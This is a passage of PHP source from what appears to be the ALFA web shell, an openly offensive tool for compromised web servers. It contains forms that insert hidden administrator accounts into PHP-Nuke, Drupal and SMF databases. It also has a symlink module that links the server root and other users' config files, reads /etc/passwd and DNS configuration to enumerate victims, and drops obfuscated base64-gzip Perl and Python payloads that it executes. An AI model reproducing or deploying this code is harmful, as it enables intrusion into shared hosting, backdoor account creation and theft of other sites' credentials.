class=\"txtfont_header\">| PhpNuke |<\/div><p><p>'.getConfigHtml('phpnuke').'<\/p><form onsubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\'nuke\\',this.email.value,this.prefix.value); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa3'];\r\n$username = $_POST['alfa4'];\r\n$password = $_POST['alfa5'];\r\n$admin = $_POST['alfa7'];\r\n$SQL = $_POST['alfa9'];\r\n$prefix = $_POST['alfa10'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5($pwd);\r\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\nif(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){\r\n\r\necho __pre().'<center><div class=\"txtfont_header\">| Drupal |<\/div><p><p>'.getConfigHtml('drupal').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\'drupal\\'); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)\r\n );\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa4'];\r\n$username = $_POST['alfa5'];\r\n$password = $_POST['alfa6'];\r\n$admin = $_POST['alfa8'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$getDescuid = @mysqli_query($conn,\"select uid from users order by uid desc limit 0,1\");\r\n$getDescuid = @mysqli_fetch_assoc($getDescuid);\r\n$getDescuid = $getDescuid['uid'];\r\n$getdescuid = $getDescuid++;\r\n$solevisible=@mysqli_query($conn,\"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\\$S\\$DP2y9AbolCBOd\\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe\/Berlin','solevisible@fbi.gov')\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"select uid from users where name='\".$admin.\"'\") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis['uid'];\r\n}\r\n$solevisible=@mysqli_query($conn,\"INSERT INTO users_roles (uid,rid) VALUES ('\".$res.\"', '3')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\n\r\nif(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){\r\n\r\necho __pre().'<center><center><div class=\"txtfont_header\">| SMF |<\/div><p><p>'.getConfigHtml('smf').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\\'smf\\'); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n );\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa3'];\r\n$username = $_POST['alfa5'];\r\n$password = $_POST['alfa6'];\r\n$prefix = $_POST['alfa7'];\r\n$admin = $_POST['alfa8'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$setpwAlg = sha1(strtolower($admin) . 'solevisible');\r\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfaMakePwd(){\r\n\tif(_alfa_file_exists(\"\/etc\/virtual\/domainowners\")||(_alfa_file_exists(\"\/etc\/named.conf\")&&_alfa_file_exists(\"\/etc\/valiases\"))){\r\n\t\treturn \"\/home\/{user}\/public_html\/\";\r\n\t}\r\n\t$document = explode(\"\/\", $_SERVER[\"DOCUMENT_ROOT\"]);\r\n\t$public = end($document);\r\n\tarray_pop($document);\r\n\tarray_pop($document);\r\n\t$path = implode(\"\/\", $document) . \"\/{user}\/\" . $public;\r\n\treturn $path;\r\n}\r\nfunction alfaGetDomains($state = false){\r\n\t$state = \"named.conf\";\r\n\t$lines = array();\r\n\t$lines = _alfa_file('\/etc\/named.conf');\r\n\tif(!$lines){\r\n\t\t$lines = @scandir(\"\/etc\/valiases\/\");\r\n\t\t$state = \"valiases\";\r\n\t\tif(!$lines){\r\n\t\t\t$lines = @scandir(\"\/var\/named\");\r\n\t\t\t$state = \"named\";\r\n\t\t\tif(!$lines && $state){\r\n\t\t\t\t$lines = _alfa_file('\/etc\/passwd');\r\n\t\t\t\t$state = \"passwd\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn array(\"lines\" => $lines, \"state\" => $state);\r\n}\r\nfunction alfaCreateParentFolder(){\r\n\t$parent = $GLOBALS['home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__;\r\n\tif(!@is_dir($parent)){\r\n\t\t@mkdir($parent, 0755, true);\r\n\t}\r\n}\r\nfunction alfasymlink(){\r\nalfahead();\r\nAlfaNum(9,10);\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS['home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\r\necho '<div class=header><br><center><div class=\"txtfont_header\">| Symlink |<\/div><center><h3><a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,\\'symphp\\')\">| Symlink( php ) | <\/a><a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,\\'symperl\\')\">| Symlink( perl ) | <\/a><a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,\\'sympy\\')\">| Symlink( python ) | <\/a><a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,null,null,\\'SymFile\\')\">| File Symlink | <\/a><\/h3><\/center>';\r\nif(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST[\"alfa2\"]==\"sympy\")){\r\n\t$sympath = alfaMakePwd();\r\n\t@mkdir('cgialfa',0755);\r\n\t@chdir('cgialfa');\r\n\talfacgihtaccess('cgi');\r\n\t$perl = '#!\/usr\/bin\/perl -I\/usr\/local\/bandmin'.\"\\n\".'use MIME::Base64;use Compress::Zlib;my $alfa_data=\"'.__ALFA_DATA_FOLDER__.'\";eval(Compress::Zlib::memGunzip(decode_base64(\"H4sIAAAAAAAA\/50Ye1PTSPyrLLFnEqV5VBBs2gKH4jmjciPoP5TrbLLbNpImuez2Zamf\/X77SBqgoHOZId3N\/t7vZcooirKUcZxy9OFicPr+A+r20A5dxIwz1Dj58v7blXcdTJaoMWv5qIsMQ21CtY6HyFJ4NlrlRQxkjNMs5TTlTb7MaRtxuuDumE+SftpPO2LR64wpJr0Oj3lCe6cZoQSFS3Ty8ewEXdKTTx1XnXQYX8IPXgkSTUKjrMA8ztJ2mqU0WHdcdd5xFbkwI0sUjqIsyYqu+cyTj9kzAiWW2SHxDEmUrpFjQuJ01Pa9fBEEE1yM4rQZZpxnE\/UtzApCi7afLxDBbAwSPhvKJ5D027AT5AMpGk7iUdqOQGdaBEPQvjmn8WjM22GWEPWBxT9ou\/UaKBsbjVmWUMQwQc9RnM5iFoew\/4kulpMkTm\/Qn0v0Ny2SjguC98xgTRNGV9oNlWeUJxo4GeIBwRw7hhuNYrF1jWDNpiGQHuCiwEu0AsdZgO\/tNma+ZwPa8UA484+ZP4TNBOdo1RgI\/\/trdCwAg4LyaZEiS8UDIPvDlUBe2\/aR3\/YUg3xOStqvNdV4aO3osFhpGkLwYA0HAIXov8ggcUEjblQAhjvOJtRdTRkt1m4+DZM4Goh4EYoAXpMCCOWRm+IJJQ6E7dBAz5+jJtHfZ+AHzChzf5PmMcuTmIPA8tdy+667ixrvPn9bGW\/PT79+evf5cvDl\/PzSWNsq5g8ANs9ypBCD2lKz+57FqWW4xq7+bjsggWZuIAcoKItN8A3lRWm0PeA6o+LlH4r3vjaiTqcOQKqwNR9GmwlpBLEvYgyVkX8Gj+dD5APDPcfouOIU0kQAcrKFVkKHXFDCaFzQYdc0HJCKSiddHYnn2kBHyPyOZ5hFRZzzNk5owS1jDtVDVI5hnBJEsgmOU8dxDNtsI3PMed52XROEoLZjmIhDllHeNQdhgtMb857QnnfSanlKaFoTGleCb9Hy7Ewh+IcP1KxrAzniGCIlmMosV6xzSC2HL7g43oes+ZWAYFNZT3R2PhDQ5UVPZxzJBsDpfk7IEPJfiRiaE\/ldfDqe+fvwydKbqLZ+Va0bMwJrX5OApaeWbzZLb7P0FUQt1WTGQFaoY8FDfwqynEJ6E0+4ju0i816CmTbKigqnTDAj0FJ3NGIviJIMWoneKtaAI3hXSCV7IbR5N2FNKQcUBKQaTWtXASreB1J3zbKgonQXEurOueJ5cJfLDBdKm6c5+L\/g4JccdsTGXiknQDmDB6rytqK21bCzuOBTnLgqVbJ5SgtWmfiOEE9b1tdaHtacXjOr5vKkzoeaW7RV48ONSQ9LXaQdHw8RImVRBDvyuJRdbqr25WnL6e0bva0Uq+JXcLVyzNi84qp2j1hMHfYC4QoIVrU1gg1lXU91EUDviiIrRLnSolXlFos2rAaArumbZcEMcXQzKrJpSpp6BlAjhh4f2h7CU57Jiqznm\/9Zt188KGVbK+VbGUTsaeCySn6FHvRL0O0Frixu8NJ6iUkLal1jIe0\/zCB+orEMMkCkyBIesVcRtN5cB6ecUcSh3uPaJOmTcpR8UK90xkFQSMLdn2jiOi+OfsD8hwwLVraBVm5QMvC1J606R1ugMdchoeuOqkALJR9gkYJr7owlije6vUXll1oFqyM7GqjcOhU1pZaMwnuDiehVYaCGGQEiw10YAxpPPp\/GxLJgFueWPLOv9q5trZIirNaqa9DN4NIWc4vUNdDk4Ieq6VAZQmz9a2XiN5Kp2CvL\/NNnL2\/hryHsU8f3Jb6gsx0wrDGqW1BnXmktetW6Rh2073mlfTRuNVyodndQm8TWahaDdilVIiWn\/Wvo1MKKB0K60pl4qzNFjFSiWBsqr3RE6LlM4IvAkFhEDJT39FBe9srGsieLUz3ooeRByEd3Ir5VC3Bci2+irRI9FszCOS0VzJZCbfha4L5z22\/WgtirYGdRBQxy3IeWwC0Alg1nkEAx7yJ4j\/hYWs9GTTVbVCMHYMAcw3ghz3eRB76okG1hnOr4walUsLxzWH2gKR2JHdCjShA5\/1qNhThSbQnLNwF3L16+DLSd\/SCfsrFVowF6iK6rC8MeOGVDqoqnLQR16jwmGgTkduH8cAuxB0IBNnAoG4irCiT8ik4ihsL15Ab6q1WfQUFI72B\/X493voyXZ+pmCPe+C3EzvJA3ww\/lzbCfnufi+svgE6ELytBZliTZHOr1RyDI+ulbOXxkxVICyOulxnVyuPT00xNCLuFSru7keQLtA+XjXPztIQGRIHghdVkH2L9wSmDQ\/w1wHelDNU\/CArzRAxXvTN3OmOMoooyVV3II3+Faaq8nBUFBQ6tr1ONTuwzSnepOuG2ygrRXk7hVNhRdTMuv5bAmU6S8rlZe1E6U\/7EAH\/4H5eHKfSsRAAA=\")));';\r\n\t$py = '#!\/usr\/bin\/python'.\"\\nimport zlib, base64\\nalfa_data='\".__ALFA_DATA_FOLDER__.\"'\\n\".'eval(compile(zlib.decompress(base64.b64decode(\"eJydWN1z4jgSfzZ\/hdZTWcOG2JC6vQdC2MrNTO6manfn6ib7lFAuYQvwjrFckgiwU3N\/+3XrwxbgZKbOD1iW+lvdP7VQ4jDpEXiKTc2FItmqUAs9oUcxq+iiZP1Bj+0zVqtJL6iplL2eJVfFhrkxl24kD81QNMv1Lu\/1ViVf0DKFMbklYei+t6I03x8+pW\/\/+QHG97SUrKecdUd8ID6mYvX8OJ77i0aIVKJPyyVNc6rogFySMAFPcCYJGyeQq1H1ILas18vZkqyYQhX9mssBeFosGyJrEEwGgqmtqDyLNCGwIFWYF4JlKiRckD6XcU3VOi7ksoAYhglTWVLRDcvjjFfLcEBolZOWCngt0TMtCyqZTMLBwNMZJmu+YcmXrWTia1JvF2WRpWu1KcG1ALjBBBTHqudC8OoxfPfx7R+\/vf\/9If3Px48P4TyWdVkoUBEOYBs1NzAgX1zzGvY48MdO54V0Ci9kSC4I8sd\/8qLqI\/VgSIykgQnhhn5msAMZ31ZqSHK+oUU1JMg\/JNkuR2\/WStW42\/ieJEl4iVtmKAc6lmasw\/n4Cz7zEINg+aI\/6TOVmShgI2nJBDi0YySjlSLLAuJpuOM4DgcRuCkKWAinSkBmHEp2Gym2V1cQ31U1yVilmLiJZlOVz6ZLDpQZL7m4jd7cwzMaRzNjnXZncBlOEySaTROkV3mHyJItFQqkZC3Y8jYy\/Gg6sEdEQd4ydRuli5JWn6MTpaPR3fX1yCm1IfG00kZzh7X3944Ro31u7KlNbdUALdaHPGzKovqc4Lg+2K9Y7ZWNAezeZZh8ywcIGzzR7JPhP7M9UWIG2aqTJeepVeNKbnOwNe6XYi+A3U0Fo3mqq8fVbFDIFDJdbWnZTD1T0RAZDAlMHPmuYrpA7CwTAmq0+XQ8j\/NeAAYxacf5At3MPpeFVHbKq3bNpZPzyBQr89xst6BxLQgaTbxmVQc+xMisabAgA4Ne5L1+FbzSIpyoVpaM0dhOMEHCTimtmG45EFZjmZERHMXZRP5F0U2oDR0rz+Fy8npMbGQTfyfPonO6z9aq14PmXDgPmlX5Wsw699wPZSP9u7b3xfi9mEYnkYW46glkO0nvQAechHh47\/LwJng94JbsuxLwZRss9toSJ+9xHnEZc8CcpQ06Y5NBFlzkDDBkHDlgXUDlrQSAb36l8WXyZqSfmw1gUFFNRoRuFdcAvgZLZ\/83zP90BpadwPxOp5h8ndiB8R8Aw98k7QZLB5TwY\/1a8PyAuBnsIdRjeC8h6LgzBE5KvUPNXgIBvmIA7aI2mUXzXDAp7QrO6DLBjHj8AZ85ig4A4lPFNrXpxTDDu6BOT3v17\/VG8EhGRbYGCQIs0ON+FP\/0y18cDAv7MBqE5Es01IZYLAFxhtKK8Mw18zHmQN0fW3rWagugklRROfxpF1oRdgSpXAOQQxsW54twCA4aadiaoSPo8zFcmnbHsju\/T3o6xz2watvabyIMp1gMp1m92xY5toRSUdXywWcKC4O43ul4Wg+7geBFb\/35dho74CYZTOs3sV6DJ2BA3\/TIU3LdIadxAIkeR\/PecVj17HjupPnga4Ud8Y\/nfj6eCRodL3t5Z6Fo0qQKIIa2+\/F6jqb\/PBp1RsfT0HSRZqHpfE2z4ULzNXFnm18GFy4PjM6f567fBY8suVcoP5wa7Imy2po0NE01ZKKOk5FlRZ0APt4STsKB94v2+JnYTK7y4+NBg4RObgAJLcs7mIAQX8fbUqUYtqb+O6xxwa7S7610neeWC8Q5Rieo1elWTsrdcmmiQpLfQX7De7LnmB4nUfHlN\/UlWpU4aDflKhyG+thzWKG\/vXxOoWywpqB4zL6RKw3H8Jz2iQ4xkOxxNGnY57iRxoKjaWdvvjCJB3l3YZQMrZ1eFIEI9rRR2QTkOB6BvY7tnQSbbfouphPTidyTy1vnSJtJTWfneRfTGhqFvJ8vmlp19McnQau7KcCX1LfaPfTqCIOt6UaxiYLfo3cBWWuI5X\/BDC8Gvshjh13LkpgjGd7Yu8DRDHcasCjVVZKmuljTFEExTREMvL8TvM7nLdgJ3cmVOtRsQrBnSfA+\/1Q9VVMczKb2\/C8UKHnLMcyLA7n79f6OPLC730C9XpnqrmdGv+i2J2cZF1QfHBVUy83XaWLWp4kRh6aTxaptb0wbEjaGRdO8eLatFGBOnhfVajIe1fsb23pdLbhSfGPmTOM2Gdd7QHO5BhvfLPVzY7u25VJ3bec9GfY7VztWrNZqsuBlbiZk8RebXP8dJIetz5JDiyhpTn6EPX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT\/zuhH3mJkF7M13gtOVpxkc30NE2wpzm\/Omm6taJbZo+iN8Qes\/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE\/VO31h4uKgCXRQLG9cQ8I8VXd5\/gDJZHIJUAzqo17XBJMJf\/Djb6Q2SQa0\/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4\/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m\/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC\/gejBmkk\")),\\'<string>\\',\\'exec\\'))';\r\n\t$cginame = \"symperl.alfa\";\r\n\t$source = $perl;\r\n\t$lang = \"perl\";\r\n\tif($_POST[\"alfa2\"]==\"sympy\"){\r\n\t\t$cginame = \"pysymlink.alfa\";\r\n\t\t$source = $py;\r\n\t\t$lang = \"python\";\r\n\t}\r\n\t@__write_file($cginame,$source);\r\n\t@chmod($cginame,0755);\r\n\techo __pre();\r\n\t$resource = alfaEx(\"{$lang} {$cginame} {$sympath}\",false,true,true);\r\n\tif(strlen($resource) == 0){\r\n\t\techo AlfaiFrameCreator('cgialfa\/'.$cginame);\r\n\t}else{\r\n\t\techo $resource;\r\n\t}\r\n}\r\nif(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){\r\nif(function_exists('symlink')||_alfa_can_runCommand(true,true)){\r\nAlfaNum(9,10);\r\necho __pre().'\r\n<center><p><div class=\"txtfont_header\">| Symlink File And Directory |<\/div><\/p><form onSubmit=\"g(\\'symlink\\',null,null,null,null,\\'SymFile\\',this.file.value,this.symfile.value,this.symlink.value);return false;\" method=\"post\">\r\n<input type=\"text\" name=\"file\" placeholder=\"Example : \/home\/user\/public_html\/config.php\" size=\"60\"\/><br \/>\r\n<input type=\"text\" name=\"symfile\" placeholder=\"Example : alfa.txt\" size=\"60\"\/>\r\n<p><input type=\"submit\" value=\" \" name=\"symlink\" \/><\/p><\/form><\/center>';\r\n$path = $_POST['alfa5'];\r\n$symname = $_POST['alfa6'];\r\n$solevisible58 = $_POST['alfa7'];\r\nif($solevisible58){\r\n$new_name = str_replace(\".\", \"_\", basename($symname));\r\n$rand_dir = $new_name.rand(111,9999);\r\n$sym_dir = 'alfasymlinkphp\/'.$rand_dir.'\/';\r\n@mkdir($sym_dir, 0777, true);\r\nalfacgihtaccess('sym', $sym_dir, $symname);\r\n_alfa_symlink(\"$path\",\"$sym_dir\/$symname\");\r\necho __pre();\r\necho '<center><b><font color=\"white\">Click >> <\/font><a target=\"_blank\" href=\"'.__ALFA_DATA_FOLDER__.\"\/\".$sym_dir.'\" ><b><font size=\"4\">'.$symname.'<\/font><\/b><\/a><\/b><\/center>';\r\n}\r\n}else{echo \"<center><pre class=ml1 style='margin-top:5px'><b><font color=\\\"#FFFFFF\\\">[+] Symlink Function Disabled !<\/b><\/font><\/pre><\/center>\";}\r\n}\r\nif(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){\r\n$cant_symlink = true;\r\nif(function_exists('symlink')||_alfa_can_runCommand(false,false)){\r\n@mkdir('alfasymlink',0777);\r\nalfacgihtaccess('sym','alfasymlink\/');\r\n_alfa_symlink('\/','alfasymlink\/root');\r\n$table_header = \"<pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*<\/span><\/b><\/td><td><span style='color:#00A220;'><b>Domains<\/span><\/b><\/td><td><span style='color:#FFFFFF;'><b>Users<\/span><\/b><\/td><td><span style='color:#FF0000;'><b>symlink<\/span><\/b><\/td>\";\r\nif(_alfa_file_exists(\"\/etc\/named.conf\") && !_alfa_file_exists(\"\/etc\/virtual\/domainowners\") && _alfa_file_exists(\"\/etc\/valiases\/\")){\r\necho \"<center>\";\r\n$lines = array();\r\n$anony_domains = array();\r\n$anonymous_users = array();\r\n$f_black = array();\r\n$error = false;\r\n$anonymous = false;\r\n$makepwd = \"\/home\/{user}\/public_html\/\";\r\n$domains = alfaGetDomains();\r\n$lines = $domains[\"lines\"];\r\n$state = $domains[\"state\"];\r\n$is_posix = function_exists(\"posix_getpwuid\") && function_exists(\"fileowner\");\r\n$can_runcmd = _alfa_can_runCommand(false,false);\r\nif(!$is_posix && !$can_runcmd){\r\n\t$anonymous = true;\r\n\t$anony_domains = $domains[\"lines\"];\r\n\t$lines = _alfa_file('\/etc\/passwd');\r\n}\r\necho $table_header;\r\n$count=1;\r\n$template = '<tr><td><span style=\"color:#FFFF01;\">{count}<\/span><\/td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"{http}\"\/><span style=\"color:#00A220;margin-left:10px;\"><b>{domain}<\/b> <\/a><\/span><\/td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{owner}<\/font><\/b><\/td><td><a href=\"'.__ALFA_DATA_FOLDER__.'\/alfasymlink\/root{sympath}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink<\/span><\/a><\/td><\/tr>';\r\nforeach($lines as $line){\r\n\t$domain = \"\";\r\n\t$owner = \"\";\r\n\tif($anonymous){\r\n\t\t$explode = explode(\":\", $line);\r\n\t\t$owner = $explode[0];\r\n\t\t$owner_len = strlen($owner) - 1;\r\n\t\t$userid = $explode[2];\r\n\t\tif((int)$userid < 500)continue;\r\n\t\t$domain = \"[?????]\";\r\n\t\t$temp_black = array();\r\n\t\t$finded = false;\r\n\t\tforeach($anony_domains as $anony){\r\n\t\t\tif($state == \"named.conf\"){\r\n\t\t\t\tif(@strstr($anony, 'zone')){\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#',$anony, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t}else{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}elseif($state == \"named\" || $state == \"valiases\"){\r\n\t\t\t\tif($anony == \".\" || $anony == \"..\")continue;\r\n\t\t\t\tif($state == \"named\")$anony = rtrim($anony, \".db\");\r\n\t\t\t\t$domain = $anony;\r\n\t\t\t}\r\n\t\t\t$sub_domain = str_replace(array(\"-\",\".\"), \"\", $domain);\r\n\t\t\tif(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){\r\n\t\t\t\tif(in_array($owner.$domain, $temp_black))continue;\r\n\t\t\t\t$sympath = str_replace(\"{user}\", $owner, $makepwd);\r\n\t\t\t\t$http = \"http:\/\/\".$domain;\r\n\t\t\t\techo str_replace(array(\"{count}\", \"{http}\", \"{domain}\", \"{owner}\", \"{sympath}\"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t\t\t$count++;\r\n\t\t\t\t$temp_black[] = $owner.$domain;\r\n\t\t\t\t$finded = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!$finded){\r\n\t\t\t$anonymous_users[] = $owner;\r\n\t\t}\r\n\t}else{\r\n \t\tif($state == \"named.conf\"){\r\n\t\t\tif(@strstr($line, 'zone')){\r\n\t\t\t\tpreg_match_all('#zone \"(.*)\"#',$line, $data);\r\n\t\t\t\t$domain = $data[1][0];\r\n\t\t\t}else{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t}elseif($state == \"named\" || $state == \"valiases\"){\r\n\t\t\tif($line == \".\" || $line == \"..\")continue;\r\n\t\t\tif($state == \"named\")$line = rtrim($line, \".db\");\r\n\t\t\t$domain = $line;\r\n\t\t}\r\n\t\tif(strlen(trim($domain)) > 2 && $state != \"passwd\"){\r\n\t\t\tif(!_alfa_file_exists('\/etc\/valiases\/'.$domain, false))continue;\r\n\t\t\tif($is_posix){\r\n\t\t\t\t$user = @posix_getpwuid(@fileowner('\/etc\/valiases\/'.$domain));\r\n\t\t\t\t$owner = $user[\"name\"];\r\n\t\t\t}elseif($can_runcmd){\r\n\t\t\t\t$owner = alfaEx(\"stat -c '%U' \/etc\/valiases\/\".$domain,false,false);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(!$anonymous){\r\n\t\tif(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;\r\n\t\t$sympath = str_replace(\"{user}\", $owner, $makepwd);\r\n\t\t$http = \"http:\/\/\".$domain;\r\n\t\tif($state == \"passwd\"){\r\n\t\t\t$http = \"javascript:alert('we cant find domain...')\";\r\n\t\t}\r\n\t\techo str_replace(array(\"{count}\", \"{http}\", \"{domain}\", \"{owner}\", \"{sympath}\"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t\t$f_black[] = $owner.$domain;\r\n\t}\r\n}\r\nif($anonymous){\r\n\tforeach($anonymous_users as $owner){\r\n\t\t$sympath = str_replace(\"{user}\", $owner, $makepwd);\r\n\t\t$http = \"javascript:alert('we cant find domain...')\";\r\n\t\techo str_replace(array(\"{count}\", \"{http}\", \"{domain}\", \"{owner}\", \"{sympath}\"), array($count, $http, \"[????]\", $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t}\r\n}\r\n$cant_symlink = false;\r\n}else{\r\n$is_direct = false;\r\n$makepwd = alfaMakePwd();\r\nif(_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\r\n\t$makepwd = \"\/home\/{user}\/public_html\";\r\n\t$is_direct = true;\r\n}\r\n$sole = _alfa_file(\"\/etc\/virtual\/domainowners\");\r\n$count=1;\r\necho $table_header;\r\n$template = '<tr><td><span style=\"color:#FFFF01;\">{count}<\/span><\/td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"http:\/\/www.{url}\"\/><span 